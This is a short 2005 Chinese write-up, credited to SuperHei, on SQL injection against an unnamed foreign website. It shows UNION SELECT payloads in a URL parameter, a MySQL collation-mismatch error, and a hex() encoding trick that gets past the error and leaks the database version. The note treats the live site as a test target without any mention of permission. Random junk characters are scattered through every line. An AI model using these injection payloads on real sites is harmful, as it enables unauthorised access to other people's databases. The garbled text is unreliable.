本文作者:SuperHei
% L L N- z: Y文章性质:原创
/ t2 w/ \) K; h# @发布日期:2005-10-18; P- `6 A0 L; Z( d9 A
测试个国外的站时:
( m0 L$ x% ]2 Ourl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*' Q6 T: Y/ R6 _5 ~( S
返回错误:
2 Z$ V$ o5 J1 |/ c0 f! o# E+ kIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
x$ R& E% S/ u. O5 l. GMySQL Error No. 1266 e7 j, T5 P# o9 G2 a
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
; S! M# W5 T/ v9 A- m解决办法:转为其他编码如hex。
. i! C8 R! D Q& v# }1 K2 wurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*8 M3 \; F3 {- ?' s
成功得到hex(version())的值为:# w) R4 a$ \8 A3 V5 [: D$ C7 H8 H) `
342E312E332D62657461
4 a9 b- d7 q" D1 n4 m回Mysql查询下得到:
! O s/ M2 o! j1 K9 a( Umysql> select 0x342E312E332D62657461;- M- Z3 ?0 K) Z2 w- @
+------------------------+
: f6 @9 l2 a( ^! G! O. W| 0x342E312E332D62657461 |# B4 ?& H7 V2 D9 r( D
+------------------------+
( _& `: |$ p6 n7 s) I! u| 4.1.3-beta |
" e6 f+ n' o) z+------------------------+* C8 ]) U- Z! c/ [% h& q& c
1 row in set (0.00 sec)
& \3 g5 K& G# Z3 ~. b( d* x1 Y
* k8 b, ]; Q/ H q- ` |